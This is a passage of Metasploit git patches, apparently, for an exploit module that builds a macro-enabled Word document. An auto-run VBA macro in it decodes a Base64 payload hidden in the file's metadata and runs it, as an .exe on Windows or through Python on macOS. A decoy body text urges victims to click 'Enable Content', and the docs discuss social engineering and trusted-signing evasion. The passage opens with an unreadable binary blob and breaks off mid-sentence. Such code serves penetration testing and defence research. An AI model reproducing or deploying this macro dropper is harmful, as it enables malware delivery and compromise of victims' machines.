zt<jWH_*5XN1Z`??IJ#zYPg3DwB@_)ZOM7?~`&xf;qR8Jom9WNB%Ib~%%6NiBgR0V` zBqQ>XHD!T`lo}r|j2t^1IOX1y+01D^w1a4n<bjf(PUD$P7`OLgq@Ms=?9?b0In6ie zgGh$%$+T+=cPUe<$<q{J<9sAO5epBpBf;o|!hNaJypPSqMvL-IUb%%GY7U0Rc!DM4 z3Em##J{D3VM-&J|Vr?<i>7R&19cp_lXJrrDsw7=%L`j+UNcXgl<jA|7InM>+<KtLb z)s&t0k0~o+x#iN1yw5lC&PZ9<Ax%2>Nl#SrjkR^=H>5SwQal;4j7|@*lMt~|$7-6C zP&}+SOx7(Amh>qqA4$n^Rzh-B71lj`NC~M9JL?N2BMCJUW24TNNL1-N+LKb1@l!?i z2f50|6N4l1Xjri%A;7K9Rz>YgCzMbm7;TXY!Vb^bl2}mwzt&AVX1IO8&UZ|=NTp|~ zL#EF<D$;qgcBe9>u)n=8HElY4a=_dWdezyVzRS16k?UI{mAw9`5$FD7q{#b#<G%L4 z%nd~2skO>&L!WQn|D9%M-xyP(QG126cfuUw4{d0Ug?am)kw9_aF`s$nsaGB<$~TvD z(@2U3`S3J5R8?2QmDuzlYnZ2A{R(&Z`&fT3SC1x?3fU<Yx*HlAcopLwm#c>RVqP^K zi^TZM{wPzDm3&N96KvN_H%(4XI>%XDjSojuXQ(MY?k{q>+}@%Tk4KLvsp+o{N7KqU zpNyzu?0H*ANu_3r!@OKdpGyRxq)kDy8hm9-Id`<jwy<xrww8&Q_oaBu!}A~UA5EV- z>8z{CoynW|+^fCi$&rwItk&a}_LTc8zp%Y?`a9*kFFvA9rZ;Y}++?;mL&v0*fp|$Q zrJmk6GiCSrS)i%8rM0d7R(4xQXIFR6-d@(%|LJ}E4}9hz3l4|E%E&18Wrq$&$7AsX zyDOPeCyq=`v7^UaZclYh?M&Uy`i31h4Yy7om&1HxhY}k_D=K-adqS<`Y&034Ncfde zOT-_y-<VX!<40@?pB#I#Ih6?B$F^3^H1J^T=w;LWrDcD<DSbn)l8AcEvg5mQB|kD8 zNDg(3RC4=U$_dNp&w`fz;P9YDI)2JIl(UiBEtcUMhtBX+JUx*NDSUil$RUS#MI@!B z_{dl?K7Q&`DU)}Ga~2=rH9RyHoJ;=X;rqADte-L6x?bKr^w_F1=FWI{CU^H9ZgI6e z#{a<C8;qpt74GIYJlj&b#vfc8{_|a?JDh)Zta&POx61G9EM3<;7L<al+{?S-lRPZ{ zF8`(CyI|kBD`<N1#lNdh--yKhaqd{tr=C?3yvCQq`72&)Y+^ikhySRm^rR|zfbqb& zZ>y!#=<x_9E^tbvC(V^S);ir(`8rSVmQ&Vp{?v@GFmP)7+mk6ikqEA=W;_^DCxTJ_ z?O|UbpYna_*%j&4)q%WUohq1>T%UV=tk`E7&VMWC4bIE?Z0N}B_uk?+Ufy}Gh+T-V zQ@jqEnojv{e)5J&``y8CS(wl6=#RHrgRvx^$x%jUEU%Q${%K+;o(v|Bva_>nbV_k@ z|D8_-o+)_c(ekp!^3p9z@^7Ch=W^s+QB2_@%49s9=eIw(iCG=z_Rc&Il7@=nvFK4g ztVrx@<H4!O_{4aFwA#aG^3GlPpT+9fo0ntpsPgtX=S<h{nFhC3&z6>6{>Skvn|Bm^ z%KaA(^VJ;(%=Sk6nH`(gzsU19RPkhIQ05m)-+f`-FY=nB-woYmd2@?RZhW!dG3)xi z>*1}{+l~xh@<(DlH?BTVF>`RA<zLpgZpeM6pe(1#=KRsg(Vg#m;ydlZoul@l&p&K! zUYn_@pSIjv@0Z?=KDuJtj>O@6xBtLBbZqO&ki7rVcd^%PQ>J(-5sd_9+Jc*+@z`jv zs_wX{roX-BuXo&F8nK);Id1w6yRcEpTb<(@s){Oq77Sk<<;N8E^}9_+`+6O9J!>v^ zl$o!ta$U7o@NK6Hs!e_DY~o9?leJQQ^{Y4Yv7v&$d(?Bz99*5Mc&Gk<x!?Zksh|0- zZVHSg9f22`XC3x!ZT7U~^7ilKK2^DQucxA7?-vHEb64=$?HT#!D=K+)<v;U`oRNPi z*S;%%GpCO^%P-&ZCzTg@YPv8!u}6J`zbjAQHB>mvw(;2xWkhv6RFvo$>$~NPCDohu znoL_mU-%;vR+3efJMWmb%5?g;fR&1+^XRE<GtzltYyKK>5QmN(R@xLIOb|nf7B<s1 z-=&8s>X;sf!U+l^A97+vUy?sT4^w)4f+-#s@vUY$a$L~UQvR2;IA+>J+01xMTSd5p z!rA$QPj%xu--~d)9;R*AR91LK4-*_>rH$_5d@LKmaxB9qxTTHw(^e~m59nd4+n5%% zh_>r|%4aHz|F|BewCD6VeuOVjco2VmIKlM5r*qWDbvEoGs3Me?wuSoW90)t2;|96x z^63osaUIGR=Wi;T-1VfV4tP|LIH)5KgOETk>&98H8D~K{$z7kr`CqhKEB*S)r#<#j zI!wcbal%V#!B6zGeuDD5QPM75{-_CUCE+ep7s9=)`*{}a-L3n3b^mj^U!kXaR)5bU zHGuQ!{G<B&-|K#Zz7hS5?%$>RU)KHa>V5-_d$=_A>8ok4F0-85AlNGNP{th2pmt>v zE2<&A3ulTdactZ>l(~H%V;;+_4`=3*2Qn)qwhnI@Uwy{RcC{hN9lxrst<P+fC049| zu&^QbR0d2|vLTmkurhOfCO;3yLipyA%v=|{(b1NX*;c${{PmeaoX~##%lGD(+x*@f z@?61w^@xa>@i{X2c)2pS%bHn<z@@og|MIoDIt#1MI5Jn}SOH=evwveR&9VCO`php# zyylnY%t*Eh5Ni3Ex$;YM<yYo@L5(JE0l?O}d_DQ4xifQUY5}S}mpYK4xoI^;B(&z| zkWbU1Lop#F#xZ#yV`2wD@6E|5TV}6;rf`lbL950<4iT5m|7JS>hcP?-0RAP2oRs-z zcz<q{cJ`-Uh+R3+OJ8VWB)8o8-;D3t*N^+WzVrXQ&VEq#TJhI&{x4ZHYK_tRpXv9A zM%3j~nG{_A$b6_{nUHm!Hy@IBZ`1|86erNSjZy%jfz%3$x5)=Ip$(BoU&v`J?fvdd z$2_0D+$b>o(*l<nI_;1t{uIcnmq}?0ifaTP3Nl3R6o(vz$!Xzy_Bg^C;vxZgy9Kub z4@!jhw4d4|(o;P8Zlpn}Kq5HvKH{DKPPL=&vTu8y_q2bWZ=|EMpZ9drHGD08%QgHf z$jf`W_Zq%})0g*j|22F%fO${vyM|wdbC~z^fou3UhVAm6K6nkE+TcAsa1Ea)l5tI5 zn%t<r<WprL9?5)`Mxl`Cf}D)_*{F>T{Z0HUh)@13CLB8JFLm^7siQKN^0MDw5_QmW z!jviE(pz?%?68^rK2m6?jZ_98cL0m*i2k=70InZ^Z4fj9z_uO$uA524dNeouEnw^f zJ}TK3F+&t@DXVUQ<(f|_t<V!{tdajXcC?S#r>%g<b%A34XU68|4O;Zl+8$A?cZ>IS z*dtbn>oVHIl|cQ)<U4IG6njvTAi}gio27gZ-j2&NF+m_)jDg50Q-rsn<@I`))`2vL z_%wfd^)RiU7xZu${Ht1?R#Ji)jgLAPu-6baqb)K<;v2-zuJe*Gtvi?WIJ@B6ND&aH z4PFnz{^>%<q>w$X^Tl3M4-?#eL4>U`LFiZYFxB5nVqCIEw}W+n_}KT8e9~Fr$MtXt z_`f|rXgekvaFEr1&G`ZPOkMIG?P^d53PTYV>k|0X*H+?-@q+V`7RL;ZHi<x&==kB# z<B<LgEfa_OJ)y_3BYb9=I6~h<oDwr#eOz58j*Ifq#)X;kJg0?as?bXm&enhEAq}}1 z@U`*6*lP%r+$CuYpS~p8L6<x4n7xRZVVrH3=kTnQOPN!C7(8;sEoBzzA~tOT4+R{W z!=3=&BhzyC4D)+GixvB)*j=rkM>7pDldwz;>MUdR*vdLtog5MuLO(^?F`46iD>nA@ z<rxBTE41=l@_EdyW$b;7^m68qYnrr@{HRfQkig!<Xv=$e%do#-SK-I;eg*z4$jP_{ zz6x*>XsiZK5*!P35=eP$lmJQtpL8OLNC(_V!zm4zQbQ?Q;?byqQW_wofl<cka*Nz7 z$cOa6D|r>5Ho_}uc^r=FfF<{Z2(SeB3B(eT)DcTS?5LoCEc?`C1^bfq0A+{#WR}Ya zr36T+zt=NSJzs2by*jnZXz(R)Pz_H-P4y3eGSScGi_FV>egnibFiZo&G!RS!z%=kn z1HRPI%Xh3ViP~v;Lo@I@W|I0lW}G#Iqk3;(0>32qGNLL#iGpZ(C2t=g1XGKK-rs}X zzg517_cGQdo6ygDWYRa{cPz`lh(b8@EIS32SI+>?L*_cVnNoQu9!qKPCeTeTu+@}+ zjX7{vZlIh=+(1%!8&I|%Ws~Cwoo8kkjhx4u1)8q8^C<fwRto{{>)8H9n34E{VXpCX z&2n<qCHuWSXc4(%(90h9q_1u8slHen1tcmi2)IIb6rzf>O3^rM!8oMyjJnXlpT=p4 zM3Q!iXPbBqiRYAfp2d^$H<SL0i;r+n4Qe?9nkVfic$6^LY6Bk~2F{ui`hOlPYB}pg z+vy@3TR_HHzo-X8T}<qYlsViiWU>pWY&>>ENvc}q0T?F%xGG5=focLi1$+<4euPs6 zDuu=e!(kp#Q8uOb1D}miTxAq#TH;BLX(A!eR0t9NDBx6~E`&uJS<_%HZ!E9m>X?#L z^n4;HM*~=qlV~qB38@`W30w(;P>>F^BDoH<Qq??^7cPY;pBotE32g=9YV=}-)?7$| z^sxohFBgbjp;?J!wNGdahfjLhh#eK_3KuezpeZCxk{!wOfE=d&7w^=sUgWnAbf^4T zktf9#`v;*X9Pv2bNe9SSh4MWQy}4HZHVge*5E3rA7Aqt2$<{_qA7>;@A8BiRo_P`H zpu7^#185=jJvE)?RoWSmKJAzXd(o{VDS~@RkLnf;ts2qqlo*ckEMr5M*|i)gpH<8U zHHa#~FwMZnlw>@G@+~6n21tzL=)!C;AjyKaYQ8pFJ?gOnX=+E6sOHqwd<;0Wp-PTA zp)jcmP08owf^q&ouzuZuvdTagA<J!TR6~+5NmlFARqQ}h85>5OvtyW+jZv^DPR<9! zDQ5#hnp*uU7!3nla5Q0D&=p5&LBCT}<@kiE>mS<R1pOEQ^+Jw+gF2Ela8yLUX!326 z%UO*afnL#W`MdghPAmK@-Z@syGJGfbd*oxtXAJB0Ma*mawJS&5@Zo|FEvI$a@7;|j z-Aqz?+D(vDwAFb^<e_Tq*u|MD^nC!kaqW8yUq~95cW~QC8Z-tD<@5Vi&BxLHTNgj* zj=D>MEm1H8U9cCi{Jx1{?!!HHygQ-992G_8e9l;Rj5jB7iJRoTN@}7MwSx--))@lT z6D|b00<7o~=nROqN`;_b{~wBpt-0pSTLhwB^N!*f4l*pph6zuJELu(o{y&>!$=(Uf z)3A2Z?yu=vS|<wIK-%VZ0bM0Nm1TyQr|AVkg&SgwY#0qkEa4pNS>emjN;YJ^CQ?v* z#W%Q>gh<21jA~-Ura?4v;gb{J^+zwPbVgw-7RAx^_2AR!5thkALy6utYgtlM3Db?t z=EMoK6&5%y@#n#_1}Jk2j)WS=wI~$OxeH&7Smf8hy6GOAi)*kjdEhsI0$4-_bo{y% z2W%g^7stc_@Vi+j{<>i?qH#K5&lC_icc0GD?C%D26nrOgrIf^N#>v|Wo2U-_Z2^a@ z<R;MKD8o_;KP7q*)48xl;V3nMzo_5_VM!PPKeoi4%_b29uviuiXjSbZ2^j6ILS41+ zhs&ZK^{hi3U0JdqTe?vo>p^Ugsg4oUOhIi1Addy@i$gQX_OV+)62w;!Bm2#bx>1@w zSafwma!n|!8xrxOtmSgrFQgGho|MvwI#KS!u;EgWJC)Ue@`pvumfBkW?`1Wm8hI?V zKRa}N((#B|WJ_m1Y7k>#)O1ovBn2z66zZlxR@Km|0r5uPNoJH@MQ9i;rj|FO4L)cB z<`u+W=;`bcqG33JMV3m-@&4xEpteFHv1490Jdkn=Hlj^vc@1=+3X=4L<3q>|o*Qpf zpeEGC&>SDWYU86u=X=CBq1x}fZruooHo<BF^7&}3>4Sw{5Iw0tmZUW;_@nXFEc#y4 znr@VDjG^W9C0o}%iOvwHBVidX#ALWamKdRb#h}#)uLYIpIHS=!8Wv~FmYT0EEQ@&y zZwvOd**qh^1wVF0259v`)@ZBIJGY>>7Qnu0NG+2o#Z~YJrO9N-<WM-8>Q|bmqQy|E zr6#kK`L#%5CQ~La7dw-on+$R#l<hZh$)UAOlIp=&XytE1zX=J@vi(u{QpbE$oZr;< zzdG{3k>~oJ=)4fCE;X6YAER<4=*jUfeBXTYT^;TB-?s9HkvD&Q&ft^ZhVN+*?24sE zW|9(B6yD3EH0&**wj<`k{qbb@j}P0Jsc@g)_pd*(u^jXMNX%XL%DsB9+LL=i57yO8 zA!ssVEBDP8ZOm*&lDg-%=%Jm@Ba~a%lZ=zuTh;S6X0fK!FwR>K4<USpqev6ej1qr* zX@S!{G7<?XYbI>0un@+KhApGI`)f9qmxjQRYOtB`AZ%Sreh6kE_LJIn^7%tHW<Bqa zND$akiXG(-x7%<pso4w)lfh@sqlOGPP2vzzuV6mILXb=*)$b430DO~~Agly+J4zLe zNZ{xTTfxCUMdR5%GCh3zHWbES0ys+O)H_|MuwHaFU@+>1h}cLf{tv%{2u!mD)bO$Q z9-!hw!aA@Y=8a?w_}On!^xlcs;2Vf;9wxiO8lXftJ-z=Jgk;w8&WzYtzL^fcno*hO z%OrKOE8DPvz8I!uk=WkX(F=@B$AHL;tUwlwY{xoA{t#lwK^S&pp$00nIhl;3Mmdb^ zyp)okQ~B8km%Cjg$N)~~0T^K7=>IgTXf>0S7BQcA(|Dt!&QX;r8*3#Kx1#-2xdbZb z`<@Ly$vH9%qa>J7>4@0tU!~GvTlDqEDF9oa+n{XoUG0Z-lY`x{x_6QPX<RXxBxdx> zq3?sI>x2r+$yjh)S&dFzY3PZT*!c9-3y{s?Pw1Fmb)a237v`2^O9^XQWnCf3sxvj} zk54_;yAWki%aioyu{{g<Q5nK;GwB|-u~mypS@`%B$jr7-Sf6g%Nfw{Uy-+=~{tX93 zwdN15DV5kk8%kw*H98~VpC({kLKyE5!w;1(B^i^_RxGSW*otr_lYiY4mbM_Tm+4@$ zQ8wYZNv4Z5SsZ#K9B!_4RNB0g(+Gk?d&$o*sqV!zZtw-mwOy9a=CQ<TOPh(Elv(&~ z-1Fq(XBYZZk+YZXoxJjDi@dt=IXOR9j!LVomf}3QIIZmq3gugicgy)}nFNc=unkkn z9(f&Y4aIH|yTKludB@n+JDCX^`PSnum&@b2P*d%yg1(vqEZ-!rkcwfJT6fPD=5e~V zxV8jvHo-&}j!$CqojOV&cD30vU{X9zHHtlDcSkcFQq%GApc;wC*pLagp3U0qm4iS! zAWYr&rdw7po?exgmbMoT1Wd*G7TP?TWp=7mOl+%8k76&Crp^7DlcQftZ+_%tY3p%p zC0pv7Tr~mgA^k1BDmN@({Z;;^=GyeA?~pI8)TDDfXGYV1g0n(!oYO?XQUip|$77P& z(ix$%bexT-ybmK08@++<mX`Jac6hY|oqgTTrjm}1E%)0_b#iwtce;4@@bp`}V<s|8 z){N<`X=Yz}@)+!_UzM;uTIW}^d6x+za<!G^m(1k#&y3K~%HA~7h94k#+ZFbW*i3Bw zUlw?NRIqWT7(LeJm)!o(tu*1}y~!_2IhC)LUVP-J-EZCDm)5cAJGq#qr9G|ef#P&d z7dt>dC^~$Gj@VmMZ2jl+ws{`O>*n8F)y+@zt}T6aQ-IrEg~F0XXWL)VN&n+IvcDn> zfllkR5?)VwLJ)c_TFmV737Y@7j_l8<T*F;Y`XnM9)FUpo`kEBiDc6&S5eL7&`q<@T zIEmjEQ67uSH*&pxpX5)|16}%(46Y~T5kz`|62U!u+xDk%YCuR!OXea*NK7;MLOd-x zAsWm7NkRj*4+ON43s?s!(nxF&rl@<tT0~Gl@s1tRy#@t!3}y||Y7melU?03P(Ng$z zHy{6j-F0`@{q|$`J^p^}Pf$3r*Wee5M^z?a;BW-FP{?rf?PYqvNmk!H$aELoU&2wm zgcj6usL;Q(&&PnNoE{^Gy@Dn!=ia2TwTycK&0Nk=ODU_hr{22Vn%>y;;?u|7&wcU4 zx8Fp&mUCds1h!@G<B+vX`OI(HXo%C;)Te)>G5rfBOmZ{g$y$mKg@#>V*FaBicWbZj zUiUztyR);q3xUq|KyP;+0@!{M?Q~MGd8f0fqXU)2;)UP3`F#*^{yJR_BtJ9Mh3etc zc`xYx;^~EIlcO2`&evuIGOg8XlZ=lVGjeJ`pNBCGYn#{s%@dRG{_fr;XLpC6T1(QR zjkc(g-UU=8GT0#J(|IrJzE^OK2UW?nL_k0s<;{oy0qLulv50vFv`x2I$Ea{BLSs?! z6?#uo@p@@&ug?3j?)Mla3!jSbc;mgQ_ix`|`_}(w-(XGu54$5K-=Y<dUd)n+wnT{q zD_cBbl`<A7V~y(QFsi4CjjBh3g`8GB4Fz`Vyq9%<NW?H6sI#~RH@5$XBvdeaPmVZ6 zh1iTkYPv%#)72&2OuUz`<>koiA$^b;HmFoPihX!VY?LEW8C}2==oh;XeE~!T?1eBX z;?QrIQ`qz}39SWsNx0<%_&|CKYQX6O8kfXoA%S>=hK&NJF;K$3EIce5yMq)9kd#W3 z$S|c9`KdrJ2sca2*9EaGMmx?>bT~tH#^^zvPGIQeKBNg=^up`7FnU~zj!o9$Z+-ao zlKu@tOX3J?rT3v^LKY*Ug@naMu~$>jHk4Ta*#Vgvz<^{0AcVjvAjvrqX9@&?7hu>i z!q4c>FaDO6KZWuyAr?79){9g4ffMQ&KMNnx6o5)(8A;~w)`Mt(kRzXZi-VTO|EbSt z3L!^2U^wGl`(~onSZNx}KF!7F>%sAb$}yaFsmspb4x+e6ptrF_6X*v5QCV~9GU$_$ zJ$#Pe|HfzwihiJ8&|Li!&t!(aqLCN=!~V&K-@_+rMSD}D{kYFp=ke4xHB>d%@AOpF z;I~ax^)1bTs@f)ZZEb_w?Q=CW-Gg5o8mF_y>}mg|ZEe_w3s;nn9~MnSmB#rcpeUbC zT#a^p2|ylgN;H9+KNZJfD%%CtJ|&sL)?1t!)d-9%sy&VN>V|5M2fr|*2!YPlM!Ub- z@2++Gn(KXjPc~7#di;&{7FUbM?P;oYS8D`*YoO8YY4WrLT0DVjcU^t8hp1sEJ{9HP z-WG>(LGzTV#BfBz?eR$bj-vee#<&}gS0i#$U5%?M(9+<la=Qa9RrSp^)m1K+&lP}J zT&`N*JvU=a-8`SlC340Ra99{hAj51?HM%PK{C@zlG2o5HTCj<BHdG@}=c(iei}JnL zoe^eBvjd^_pBCM@d>?B){qdgz{}i7iS}tYwJrnI&mvfn~V{GJRGIRJ9#2h;T+6>AC a(QnY{#)EMEB-%iZG?Errj8%=Z^4|e_d6Inq diff --git a/external/source/exploits/office_word_macro/macro.vba b/external/source/exploits/office_word_macro/macro.vba index 7e115b0319..03da5fb676 100644 --- a/external/source/exploits/office_word_macro/macro.vba +++ b/external/source/exploits/office_word_macro/macro.vba @@ -1,3 +1,5 @@ +Public Declare PtrSafe Function system Lib "libc.dylib" (ByVal command As String) As Long + Sub AutoOpen() On Error Resume Next Dim found_value As String @@ -6,17 +8,31 @@ Sub AutoOpen() If prop.Name = "Comments" Then found_value = Mid(prop.Value, 56) orig_val = Base64Decode(found_value) - Set fso = CreateObject("Scripting.FileSystemObject") - tmp_folder = fso.GetSpecialFolder(2) - tmp_name = tmp_folder + "\" + fso.GetTempName() + ".exe" - Set f = fso.createTextFile(tmp_name) - f.Write (orig_val) - f.Close - CreateObject("WScript.Shell").Run (tmp_name) + #If Mac Then + ExecuteForOSX (orig_val) + #Else + ExecuteForWindows (orig_val) + #End If + Exit For End If Next End Sub +Sub ExecuteForWindows(code) + On Error Resume Next + Set fso = CreateObject("Scripting.FileSystemObject") + tmp_folder = fso.GetSpecialFolder(2) + tmp_name = tmp_folder + "\" + fso.GetTempName() + ".exe" + Set f = fso.createTextFile(tmp_name) + f.Write (code) + f.Close + CreateObject("WScript.Shell").Run (tmp_name) +End Sub + +Sub ExecuteForOSX(code) + system ("echo """ & code & """ | python &") +End Sub + ' Decodes a base-64 encoded string (BSTR type). ' 1999 - 2004 Antonin Foller, http://www.motobit.com @@ -27,12 +43,10 @@ Function Base64Decode(ByVal base64String) Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" Dim dataLength, sOut, groupBegin - 'remove white spaces, If any base64String = Replace(base64String, vbCrLf, "") base64String = Replace(base64String, vbTab, "") base64String = Replace(base64String, " ", "") - 'The source must consists from groups with Len of 4 chars dataLength = Len(base64String) If dataLength Mod 4 <> 0 Then Err.Raise 1, "Base64Decode", "Bad Base64 string." @@ -40,18 +54,12 @@ Function Base64Decode(ByVal base64String) End If - ' Now decode each group: For groupBegin = 1 To dataLength Step 4 Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut - ' Each data group encodes up To 3 actual bytes. numDataBytes = 3 nGroup = 0 For CharCounter = 0 To 3 - ' Convert each character into 6 bits of data, And add it To - ' an integer For temporary storage. If a character is a '=', there - ' is one fewer data byte. (There can only be a maximum of 2 '=' In - ' the whole string.) thisChar = Mid(base64String, groupBegin + CharCounter, 1) @@ -69,18 +77,14 @@ Function Base64Decode(ByVal base64String) nGroup = 64 * nGroup + thisData Next - 'Hex splits the long To 6 groups with 4 bits nGroup = Hex(nGroup) - 'Add leading zeros nGroup = String(6 - Len(nGroup), "0") & nGroup - 'Convert the 3 byte hex integer (6 chars) To 3 characters pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _ Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _ Chr(CByte("&H" & Mid(nGroup, 5, 2))) - 'add numDataBytes characters To out string sOut = sOut & Left(pOut, numDataBytes) Next diff --git a/modules/exploits/windows/fileformat/office_word_macro.rb b/modules/exploits/windows/fileformat/office_word_macro.rb index f13e9a2925..7e8f4406c3 100644 --- a/modules/exploits/windows/fileformat/office_word_macro.rb +++ b/modules/exploits/windows/fileformat/office_word_macro.rb @@ -36,18 +36,30 @@ class MetasploitModule < Msf::Exploit::Remote 'EXITFUNC' => 'thread', 'DisablePayloadHandler' => true }, - 'Platform' => 'win', 'Targets' => [ - ['Microsoft Office Word', {}], + [ + 'Microsoft Office Word on Windows', + { + 'Platform' => 'win', + } + ], + [ + 'Microsoft Office Word on Mac OS X (Python)', + { + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON + } + ] ], 'Privileged' => false, - 'DisclosureDate' => "Jan 10 2012", - 'DefaultTarget' => 0 + 'DisclosureDate' => "Jan 10 2012" )) register_options([ - OptString.new("BODY", [false, 'The message for the document body', '']), + OptString.new("BODY", [false, 'The message for the document body', + 'Contents of this document are protected. Please click Enable Content to continue.' + ]), OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm']) ], self.class) end @@ -60,8 +72,9 @@ class MetasploitModule < Msf::Exploit::Remote when /document\.xml/ buf.gsub!(/DOCBODYGOESHER/, datastore['BODY']) when /core\.xml/ + p = target.name =~ /Python/ ? payload.encoded : generate_payload_exe b64_payload = ' ' * 55 - b64_payload << Rex::Text.encode_base64(generate_payload_exe) + b64_payload << Rex::Text.encode_base64(p) buf.gsub!(/PAYLOADGOESHERE/, b64_payload) end From 7503f643cceead53eb72db04eeee6b26867633fd Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 16 Feb 2017 12:32:14 -0600 Subject: [PATCH 188/426] Deprecate windows/fileformat/office_word_macro Please use exploits/multi/fileformat/office_word_macro instead, because the new one supports OS X. --- .../multi/fileformat/office_word_macro.rb | 122 ++++++++++++++++++ .../windows/fileformat/office_word_macro.rb | 3 + 2 files changed, 125 insertions(+) create mode 100644 modules/exploits/multi/fileformat/office_word_macro.rb diff --git a/modules/exploits/multi/fileformat/office_word_macro.rb b/modules/exploits/multi/fileformat/office_word_macro.rb new file mode 100644 index 0000000000..7e8f4406c3 --- /dev/null +++ b/modules/exploits/multi/fileformat/office_word_macro.rb @@ -0,0 +1,122 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/zip' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::EXE + + def initialize(info={}) + super(update_info(info, + 'Name' => "Microsoft Office Word Malicious Macro Execution", + 'Description' => %q{ + This module generates a macro-enabled Microsoft Office Word document. The comments + metadata in the data is injected with a Base64 encoded payload, which will be + decoded by the macro and execute as a Windows executable. + + For a successful attack, the victim is required to manually enable macro execution. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'sinn3r' # Metasploit + ], + 'References' => + [ + ['URL', 'https://en.wikipedia.org/wiki/Macro_virus'] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + 'DisablePayloadHandler' => true + }, + 'Targets' => + [ + [ + 'Microsoft Office Word on Windows', + { + 'Platform' => 'win', + } + ], + [ + 'Microsoft Office Word on Mac OS X (Python)', + { + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Jan 10 2012" + )) + + register_options([ + OptString.new("BODY", [false, 'The message for the document body', + 'Contents of this document are protected. Please click Enable Content to continue.' + ]), + OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm']) + ], self.class) + end + + + def on_file_read(short_fname, full_fname) + buf = File.read(full_fname) + + case short_fname + when /document\.xml/ + buf.gsub!(/DOCBODYGOESHER/, datastore['BODY']) + when /core\.xml/ + p = target.name =~ /Python/ ? payload.encoded : generate_payload_exe + b64_payload = ' ' * 55 + b64_payload << Rex::Text.encode_base64(p) + buf.gsub!(/PAYLOADGOESHERE/, b64_payload) + end + + # The original filename of __rels is actually ".rels". + # But for some reason if that's our original filename, it won't be included + # in the archive. So this hacks around that. + case short_fname + when /__rels/ + short_fname.gsub!(/\_\_rels/, '.rels') + end + + yield short_fname, buf + end + + + def package_docm(path) + zip = Rex::Zip::Archive.new + + Dir["#{path}/**/**"].each do |file| + p = file.sub(path+'/','') + + if File.directory?(file) + print_status("Packaging directory: #{file}") + zip.add_file(p) + else + on_file_read(p, file) do |fname, buf| + print_status("Packaging file: #{fname}") + zip.add_file(fname, buf) + end + end + end + + zip.pack + end + + + def exploit + print_status('Generating our docm file...') + path = File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro') + docm = package_docm(path) + file_create(docm) + super + end + +end diff --git a/modules/exploits/windows/fileformat/office_word_macro.rb b/modules/exploits/windows/fileformat/office_word_macro.rb index 7e8f4406c3..78e903c7d1 100644 --- a/modules/exploits/windows/fileformat/office_word_macro.rb +++ b/modules/exploits/windows/fileformat/office_word_macro.rb @@ -11,6 +11,9 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::FILEFORMAT include Msf::Exploit::EXE + include Msf::Module::Deprecated + + deprecated(Date.new(2017, 3, 16), 'exploit/multi/fileformat/office_word_macro') def initialize(info={}) super(update_info(info, From 34f074441dda6f340ac322f0ccdc39040dffaee6 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 16 Feb 2017 12:33:05 -0600 Subject: [PATCH 189/426] Move doc --- .../exploit/{windows => multi}/fileformat/office_word_macro.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename documentation/modules/exploit/{windows => multi}/fileformat/office_word_macro.md (100%) diff --git a/documentation/modules/exploit/windows/fileformat/office_word_macro.md b/documentation/modules/exploit/multi/fileformat/office_word_macro.md similarity index 100% rename from documentation/modules/exploit/windows/fileformat/office_word_macro.md rename to documentation/modules/exploit/multi/fileformat/office_word_macro.md From 7ec5ec6442a0a44a314211aa3f13c0c24008b8cb Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 16 Feb 2017 12:39:24 -0600 Subject: [PATCH 190/426] Update doc --- .../multi/fileformat/office_word_macro.md | 43 ++++++++++++++++--- 1 file changed, 38 insertions(+), 5 deletions(-) diff --git a/documentation/modules/exploit/multi/fileformat/office_word_macro.md b/documentation/modules/exploit/multi/fileformat/office_word_macro.md index b779f25a13..d94c00b193 100644 --- a/documentation/modules/exploit/multi/fileformat/office_word_macro.md +++ b/documentation/modules/exploit/multi/fileformat/office_word_macro.md @@ -1,3 +1,4 @@ + ## Description This module generates a macro-enabled Microsoft Office Word document. It does not target a specific @@ -8,10 +9,6 @@ There are many ways to create this type of malicious doc. The module injects the payload in the comments field, which will get decoded back by the macro and executed as a Windows executable when the Office document is launched. -Please note: By default, Microsoft Office does not execute macros automatically. If a macro is -present, the user will most likely need to manually click on the "Enable Content" button in order -to run the macro. - ## Vulnerable Application @@ -23,10 +20,11 @@ Specifically, this module was tested specifically against: * Microsoft Office 2010. * Microsoft Office 2013. * Microsoft Office 2016. +* Microsoft Office Word 15.29.1 (161215). ## Verification Steps -1. ```use exploit/windows/fileformat/office_word_macro``` +1. ```use exploit/multi/fileformat/office_word_macro``` 2. ```set PAYLOAD [PAYLOAD NAME]``` 3. Configure the rest of the settings accordingly (BODY, LHOST, LPORT, etc) 4. ```exploit``` @@ -62,3 +60,38 @@ While editing, you should avoid modifying the following unless you are an advanc in front of the payload string. The blank space is for making the payload less obvious at first sight if the user views the file properties. * The VB code in the macro. + +## Trusted Document + +By default, Microsoft Office does not execute macros automatically unless it is considered as a +trusted document. This means that if a macro is present, the user will most likely need to manually +click on the "Enable Content" button in order to run the macro. + +Many in-the-wild attacks face this type of challenge, and most rely on social-engineering to trick +the user into allowing the macro to run. For example, making the document look like something +written from a legit source, such as [this attack](https://motherboard.vice.com/en_us/article/these-hackers-cleverly-disguised-their-malware-as-a-document-about-trumps-victory). + +To truly make the macro document to run without any warnings, you must somehow figure out a way to +sign the macro by a trusted publisher, or using a certificate that the targeted machine trusts. + +For testing purposes, another way to have a certificate is to create a self-signed one using +Microsoft Office's SELFCERT.exe utility. This tool can be 